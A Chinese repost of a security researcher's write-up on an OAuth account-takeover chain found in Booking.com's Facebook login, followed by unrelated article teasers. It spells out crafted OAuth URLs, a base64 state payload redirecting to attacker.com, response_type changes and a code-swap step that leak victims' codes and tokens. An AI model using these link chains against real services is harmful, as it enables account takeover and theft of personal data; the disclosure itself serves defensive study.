【OAuth漏洞】第三方身份验证-账号接管

news2024/10/7 8:26:49

目录

什么是OAuth?

OAuth 如何用于身份验证?

在 Booking.com 实施 OAuth

为什么 Booking.com

OAuth 在 Booking.com 中的工作原理

Booking.com 帐户接管

安全漏洞 1 - 不允许唯一路径

安全漏洞 2 - 开放重定向

安全漏洞 1 + 2 = 帐户接管尝试

更改响应类型

流程摘要:

帐户接管尝试 1

调试帐户接管失败 – 我们错过了什么?

寻找安全漏洞 3


本文作者:Aviad Carmel

笔者总结:

总结:

1、目标:第三方的身份验证

2、关注点:返回跳转到原网页的链接(可能会身份验证成功后的身份绑定)

3、利用:(1)将链接发送别人,当别人点击后,会绑定别人的账号;(2)URL重定向+身份验证链接

4、利用前提:未检验链接跳转来源、或者存在URL重定向漏洞



一、什么是OAuth?

OAuth 2.0 是一种常用的框架,允许用户授权第三方应用程序访问其资源,而无需共享其密码。例如,您可以授权 Slack 访问您的 Google 日历,以便您的同事可以看到您何时参加会议。

OAuth最初并不是一个身份验证框架,但它已经成为一种广泛使用的身份验证机制,适用于具有社交登录功能的用户 - 您在网站和应用程序中看到的“使用Google / Facebook登录”选项。例如,许多电子商务网站和应用程序使用 OAuth 允许用户验证其帐户并进行购买,而无需多次输入凭据。

您可能听说过用于身份验证的“OpenID connect”——这是一个类似的概念,基于 OAuth。

OAuth 中的安全漏洞可能导致身份盗用、金融欺诈以及对各种个人信息(包括信用卡号、私人消息、健康记录等)的访问。去年,许多有趣的博客描述了登录OAuth流程中的帐户接管,例如Frans Rosen的“Dirty Dance”和Youssef Sammouda的博客,调查结果使他获得了Facebook的44,625美元奖励。这些博客和其他博客提供了有关OAuth内部工作原理以及与之相关潜在风险的宝贵见解。



二、OAuth 如何用于身份验证?

让我们从一个简单的非技术图开始:

让我们一一解释这些步骤:

1. 您输入 Randomsite.com,然后单击“使用Facebook登录”。

2. Randomsite.com 将打开Facebook的新窗口。

3. 如果这是您第一次使用 Randomsite.com,Facebook 会要求您给予许可。否则,Facebook 将自动对您进行身份验证。

4. 点击“继续以约翰身份”后,脸书将生成一个秘密令牌。此令牌对 Randomsite.com 是私有的,并与您的 Facebook 个人资料相关联。

5. Facebook使用此令牌将您重定向回 Randomsite.com

6. Randomsite.com 使用该令牌直接与Facebook交谈以获取您的电子邮件地址。

7.Facebook批准这确实 john@gmail.com,Randomsite.com 可以登录他。

现在,让我们通过向图表添加 URL 来深入了解更多详细信息:

在步骤 2-3 中:

约翰点击Facebook登录后,Randomsite.com 会打开一个新窗口,指向以下地址:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.

请注意redirect_uri参数 - 它告诉Facebook在步骤4-5中将令牌发送到何处。

在步骤 4-5 中:

Facebook为 Randomsite.com 准备了一个秘密令牌(client_id参数告诉Facebook请求来自 randomsite.com),并将您的浏览器重定向回redirect_uri。确切的重定向:

https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]

在步骤 6-7 中:

Randomsite.com 从URL读取令牌,并使用以下API使用它直接与Facebook通信:

https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token]。

响应是 john@gmail.com。

示例中的流称为“隐式授权类型”,这在没有后端的单页应用程序和本机桌面应用程序中很常见。尽管我可以使用没有后端(没有 Randomsite.com)的示例,但我决定将隐式授权类型与后端结合使用,因为它更容易理解。

谷歌、苹果和其他知名供应商也遵循类似的流程。一种较新的方法利用了PostMessage功能而不是重定向,但我们在本文中没有讨论该用例。使用重定向仍然是最常见的方法。



三、 实施 OAuth

OAuth 在 Booking.com 中的工作原理

该流程与具有 Randomsite.com 的示例非常相似,只是它包含一个新步骤,我们将其标记为红色:

步骤1: 在 Booking.com 中,您单击“使用Facebook登录”。

步骤 2-3:

预订将打开以下链接:https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

请注意,响应类型是代码,而不是我们在 Randomsite.com 示例中看到的令牌。

代码是应与令牌交换的临时值。它增加了一个额外的安全层,我将在步骤 6-7 中解释。

步骤 4-5:

Facebook 会验证您的身份,并使用代码将您重定向回 booking.com。

https://account.booking.com/social/result/facebook?code={代码}&状态=[large_object]

请注意,代码 account.booking.com 是在查询参数 (code=) 而不是像 Randomsite.com 示例那样的哈希片段 (#token=)。稍后我们将详细解释此问题。

步骤 6-7:

要获取令牌,booking.com 需要使用以下Facebook API将代码与令牌交换:

此步骤只能由 Booking.com 完成,因为它涉及只有 Booking.com 知道的 {应用机密}。该代码是一次性使用的 - 也就是说,它只能交换一次。这种方法更安全——如果攻击者窃取了代码,几乎不可能被利用。

步骤 8-9:

正如我们在 Randomsite.com 中看到的那样,Booking.com 使用Facebook API来获取有关您的信息,例如您的电子邮件地址。如果 Booking.com 有一个使用此电子邮件的帐户,则 Booking 会将您登录到此现有帐户。

此流在几乎每个新式站点中都很常见,称为“授权代码授予”或“OAuth 显式流”。



四、 帐户接管

在OAuth中,攻击者的目标是窃取受害者的令牌或代码。在预订的情况下,重点是代码。我在OAuth研究中的一般方法是通过更改每个参数来引起流的意外行为,以了解这些操作如何推动我成功发起攻击的能力。

我能够将三个不同的安全问题链接在一起,我将详细解释这些问题,以便在 Booking.com 时实现完整的帐户接管。

安全漏洞 1 - 不允许唯一路径

通过操作此站点的OAuth序列中的一些步骤,我能够学习有用的信息并开始操作路径。

在正常行为中,就像我之前解释的那样,当用户点击“使用Facebook登录”时,Booking会将用户重定向到Facebook中的以下链接:https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code

在第 1 步中,我将redirect_uri更改为其他路径,并将此链接发送给受害者:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ any/path/an/attacker/wants&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

请注意,我们无法更改原点 (account.booking.com),因为 Facebook 会抛出错误 - 它与 Booking.com 提供的预定义原产地不匹配。

当 Booking.com 注册到Facebook时,他们为redirect_uri提供了预定义的来源,但没有提供确切的路径。因此,Facebook只能在重定向发生之前验证源。

步骤4: 此链接会将受害者重定向到:

https://account.booking.com/ any/path/an/attacker/wants?code=[secret_code]?state=[large_object]

我们可以将代码发送到我们想要的任何路径,所以现在我们寻找一种方法将代码发送到我们控制的另一个源/域。

安全漏洞 2 - 开放重定向

此时,我需要一条 booking.com 路径,将受害者重定向到我的受控域。这就是开放重定向漏洞的定义。

我开始探索 Booking.com 的功能,我在“我的仪表板”中发现了一件有趣的事情:

单击“添加显示名称”,指向以下 URL:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9

该 URL 会自动将用户重定向到:https://account.booking.com/mysettings/personal。你能猜到怎么做吗?

我立即注意到状态变量包含一个base64 json字符串:eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9

让我们解码一下:

似乎 Booking 使用mysettings_path来确定如何重定向用户。

让我们对以下 JSON 进行编码:

We got eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

我们替换原始链接中的状态,并向受害者发送新链接:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

该链接会自动将受害者重定向到较短的链接(我之前跳过了它):

https://account.booking.com/settings/oauth_callback?state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=not_important_123

然后到:

https://attacker.com/index.php

您可能已在打开重定向链接中看到“OAuth”或“redirect_uri”一词。我认为这是 OAuth 在 Booking.com 的内部实现。它与Facebook或安全漏洞1的redirect_uri无关。

现在我们在 booking.com 中有一个开放的重定向错误。



五、安全漏洞 1 + 2 = 帐户接管尝试

从安全漏洞 1 到 Facebook 的链接(我们可以将代码发送到我们想要的任何路径):

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/ any/path/we/want&scope=email&client_id=210068525731476&state=large_object]&response_type=code

+

来自安全缺口 2(重定向到 www.attacker.com)的开放重定向链接为:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

=

让我们在安全漏洞 1 的redirect_uri中插入打开的重定向链接:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&范围=电子邮件&response_type=代码&client_id=210068525731476

我们将此链接发送给受害者。

更改响应类型

如果受害者点击链接,Facebook 会将用户重定向到安全漏洞 2 中的 URL,并带有代码:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&代码=[secret_code]

它是具有开放重定向的 URL(状态 eyJteXN...指向 attacker.com),因此 Booking 将受害者重定向到:https://attacker.com/index.php

但是,在重定向中,浏览器仅传递“#”(哈希片段)之后的值。在查询参数 (?=code=) 中传递的代码未发送到 attacker.com(未显示在重定向到 https://attacker.com/index.php 中)。

通过将响应类型从“代码”更改为“代码,令牌”。Facebook将在哈希片段中同时发送代码和令牌。这是一个功能:)

原因是:由于访问令牌是 OAuth 中的超级敏感值,因此使用哈希片段是一种更安全的方法。它不会发送到服务器端,也不会出现在日志中——只有 javascript 代码可以读取它。(有关此详细信息的更多信息,您可以在Google上搜索“OAuth隐式授权”。

流程摘要:

步骤1:攻击者向受害者发送以下链接:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=代码,令牌&client_id=210068525731476

第 2 步和第 3 步:受害者点击新链接(响应类型=代码,令牌)后,Facebook 会自动将用户从安全漏洞 2 重定向到 URL,并在哈希片段中带有代码:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ #code=[secret_code]&access_token=[令牌]

第 4 步和第 5 步:这是具有开放重定向的 URL(状态指向 attacker.com),因此 Booking 会将受害者重定向到:https://attacker.com/index.php

第 6 步:浏览器将代码添加到哈希片段中,并将受害者重定向到:

https://attacker.com/index.php #code=[secret_code]&access_token=[令牌]

可选:让我们看看 attacker.com/index.php 的源代码:

索引.php - 读取 url 并将其发送到保存.php的 JavaScript 代码。

保存.php - 将输入保存到日志文件。

(我用 sanppify.com 生成了代码)

帐户接管尝试 1

在这一点上,我们有受害者的代码。我们(作为攻击者)需要启动一个新的登录流程,并将我们的代码替换为受害者代码。我们再次单击“使用 Facebook 登录”并使用我们的帐户登录。

在正常流程中,在Facebook对我们进行身份验证后,它会使用我们的代码将我们重定向到预订:

https://account.booking.com/social/result/facebook?code={our_code}&state=[large_object]

我们拦截此请求。 我们将代码替换为受害者被盗的代码:

https://account.booking.com/social/result/facebook?code={victim_code}&state=[large_object]

Booking.com 应该将代码交换为令牌,并获取受害者的个人资料信息。

什么回来了?等着...

“无效代码”

什么也没发生。我错过了什么?

调试帐户接管失败 – 我们错过了什么?

从 Facebook 文档中,要与令牌交换代码,后端的 Booking.com 应该使用此 API:

在文档中,Facebook写道:“此参数(redirect_uri)必须与您 启动OAuth登录过程时使用原始参数相同”。

我们从这个链接开始了OAuth登录过程:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=token,code&client_id=210068525731476

在这种情况下,原始redirect_uri标记为紫色。此链接是来自安全漏洞 2 的开放重定向链接。

但是,在后端,当Booking使用/oauth/access_token API交换令牌的代码时,它会向Facebook发送硬编码值“https://account.booking.com/social/result/facebook”作为redirect_uri。这是预订在正常流程中使用的redirect_uri。

在同一个OAuth流程中,Facebook得到了两个不同的redirect_uri,变得可疑,因此抛出了一个错误。

寻找安全漏洞 3

在这一点上,我无法在网上找到解决方案,所以我决定对 Booking.com 的移动应用程序做一些研究。我使用Android studio,Frida(绕过SSL固定)和反编译器来读取该应用程序上负责OAuth的代码。

为了拦截移动应用程序和后端之间的请求 Booking.com 我使用了 Burp。

移动应用程序上的交易所图有点令人困惑——您可以只关注第 6 步:

移动应用程序中的 OAuth 流与网站上的流有一个主要区别 - 步骤 6。

步骤 3 到 6:将代码传递给移动应用程序,然后移动应用程序将其发送到 Booking.com。为了更准确地说,代码被传递给Chrome->Booking.com->MobileApp->Booking.com

我不知道为什么这个乒乓球是必要的。

第 6 步:移动应用程序使用 post 请求将代码传递给 Booking.com:

注意结果 Uri。你能猜出预订是用它做什么的吗?

如果 Booking.com 使用 resultURi 作为与 token 交换代码redirect_uri,并且我们可以控制这个值,那么我们可以绕过 Facebook 的验证。

我们用于攻击的原始redirect_uri是:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

总而言之,作为攻击者,我们需要:

  1. 使用攻击者帐户从攻击者移动应用程序登录到 Booking.com。
  2. 在步骤 6 中截获请求。
  3. 将我们的代码替换为被盗的受害者代码。
  4. 将 resultURi 替换为我们用于攻击的链接 (booking.com/state=eyJteXn..)

我们将该请求发送给 Booking.com,然后...游戏结束。我们可以登录受害者帐户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1003141.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

navicat SSH连接数据库报错: Putty key format too new

问题 下载 Putty 0.79 生成了密钥,但是在navicat 15 使用SSH通道连接数据库报错: Putty key format too new 错误原因和处理 原来是因为生成的私钥格式是 V3 , navicat 15 只能识别 V2 所以,在 PuTTYgen Load 私钥,重新保存为 …

Windows MongoDB详细安装与配置

MongoDB详细安装与配置 下载地址 MongoDB安装 1.双击安装包进行安装 2.点击I accept the tems in the license agreement,点击Next 3.选择默认安装路径,点击completem;自定义安装路径,点击custom,点击browse选择路径&#xff0c…

听说,你想做大模型时代的应用层创业!

亲爱的科技探险家们和代码魔法师们: 未来的钟声已经敲响,预示着一场极度炫酷的虚拟现实游戏即将展开。从初期简单的智能识别,到设计师级别的图纸设计,生成式AI技术(Generative AI)以其独特理念和创新模式重…

【校招VIP】前端计算机网络之UDP相关

考点介绍 UDP是一个简单的面向消息的传输层协议,尽管UDP提供标头和有效负载的完整性验证(通过校验和),但它不保证向上层协议提供消息传递,并且UDP层在发送后不会保留UDP 消息的状态。因此,UDP有时被称为不可…

2023 9月最新彩虹易支付系统源码

2023 9月最新彩虹易支付系统源码 更新日志: 1.新增微信公众号消息提醒功能 2.重构转账付款功能,支持通过插件扩展 3.商户后台新增代付功能 4.后台新增付款记录列表 5.支付宝插件新增预授权支付 6.优化支付通道列表,支持翻页与快速复制…

【UE5 智慧城市系列】5-通过鼠标键盘控制摄像机

目标 通过鼠标WASD键控制摄像机前后左右移动,鼠标滚轮控制弹簧臂长度的修改,鼠标中键控制摄像机旋转。 步骤 1. 首先创建一个游戏模式,这里命名为“BP_GameMode” 2. 再创建一个玩家控制器,这里命名为“BP_PlayerController” …

坚果投影人事地震:IPO之前,创始人被投资人踢出公司

大数据产业创新服务媒体 ——聚焦数据 改变商业 一份流传于网络的《董事会函件》以及一张微信截图显示,智能投影行业市占率第二的坚果投影8月28日发生人事地震,公司创始人胡震宇被董事会罢免董事长一职,由资方代表连萌担任临时董事长一职。 …

长胜证券:政策东风频吹 慢牛格局或已打开

长胜证券认为,目前商场遭到央行社融数据提振,全体预期出现了必定的回暖,经济运行的部分不确定性得以落地,8月社融数据作为先行指标提振了出资者信心。操作上看出资者可逐步加大仓位,选择前期调整较为充沛,有…

【校招VIP】产品项目分析之竞品分析

考点介绍: 在产品经理的日常工作当中,经常需要针对某个具体问题或特定功能点进行竞品调研;竞品分析是结构化分析方法论,核心思想是通过对比的方法寻找最佳的解决方案。 产品项目分析之竞品分析-相关题目及解析内容可点击文章末尾…

软件设计模式系列之三———工厂方法模式

1 模式的定义 工厂方法模式是一种常见的设计模式,属于创建型设计模式之一,它在软件工程中用于对象的创建。该模式的主要思想是将对象的创建过程抽象化,将具体对象的实例化延迟到子类中完成,以便在不同情况下可以创建不同类型的对…

2023-09-12 - 7 搜索排序

1 查询时设置权重 用户可以使用布尔查询将多种查询组合在一起。在默认情况下,这些查询的权重都为1,也就是查询之间都是平等的。有时我们希望某些查询的权重高一些,也就是在其他条件相同的情况下,匹配该查询的文档得分更高。此时应…

高忆管理:震仓什么意思?

震仓是股市、期货商场和商业运营中常见的一个概念。它的本意是指在生意中许多生意同一种证券或产品,然后引起商场的震荡。在详细的情境中,震仓有许多不同的意义。本文将从股市、期货商场和商业运营三个角度解析震仓的意义和效果。 一、股市中的震仓 在股…

RK3568开发笔记(八):开发板烧写buildroot固件(支持hdmi屏),搭建Qt交叉编译开发环境,编译一个Demo,目标板运行Demo测试

若该文为原创文章,转载请注明原文出处 本文章博客地址:https://hpzwl.blog.csdn.net/article/details/132826197 红胖子网络科技博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

Map和Set及其实现类详解

目录 一, 搜索 1,传统搜索 2,Map和Set模型 二, Map的使用 1,Map接口的继承及实现图 2,Map接口的使用 3,TreeMap和HashMap的使用和对比 1,TreeMap 代码示例 map中插入的数据按照key进行排序 map中插入的数据必须具有可比较性(或者实现了比较器相关接口) ​map中插入…

鸿蒙应用开发(基础篇)之列表组件

一、简介 在我们常用的手机应用中,经常会见到一些数据列表,如设置页面、通讯录、商品列表等。下图中两个页面都包含列表,“首页”页面中包含两个网格布局,“商城”页面中包含一个商品列表。 上图中的列表中都包含一系列相同宽度的…

XShell7 + Xftp7 + IDEA 打包MapReduce程序到集群运行

参考博客 【MapReduce打包成jar上传到集群运行】http://t.csdn.cn/2gK1d 【Xshell7/Xftp7 解决强制更新问题】http://t.csdn.cn/rxiBG IDEA打包MapReduce程序 这里的打包是打包整个项目,后期等学会怎么打包单个指定的mapreduce程序再来更新博客。 1、编译打包 …

MATLAB入门-程序控制结构

MATLAB入门-程序控制结构 注:本篇文章为课程学习笔记,课程链接为:头歌 if、elseif、else 相比于C语言,这里多了一个end switch、case、otherwise 相比于C语言,这里也多了一个end,默认字符也不一样。 …

智慧公厕建设,要以技术为支撑、体验为目的、业务为驱动

#智慧公厕[话题]# #智慧公厕系统[话题]# #智慧公厕厂家[话题]# #智慧公厕驿站[话题]# 在数字化城市与智慧城市的大力推进下,作为社会重要的生活设施,智慧化的公共厕所的建设变得越来越重要。作为城市的基础部件之一,公厕的智慧化建设需要进行…

实例 | Python 实现 RSA 加解密

大家好,欢迎来到编程教室 ! 前阵子看到一篇英文文章[1],展示了如何用 Python 来实现 RSA 算法。不太熟悉 RSA 的朋友可以看一下一文搞懂 RSA 算法,里面对什么是 RSA,RSA 的数学原理进行了说明,并举了一个简…

平板用的触控笔什么牌子好?开学便宜电容笔推荐

在新学期即将来临之际,你觉得什么样的电容笔才是最好的选择呢?我是一个数码爱好者,有几年以上的使用经验,也知道一些关于电容笔的事情。我觉得,这款苹果原装的电容笔,与普通的电容笔最大的不同之处&#xf…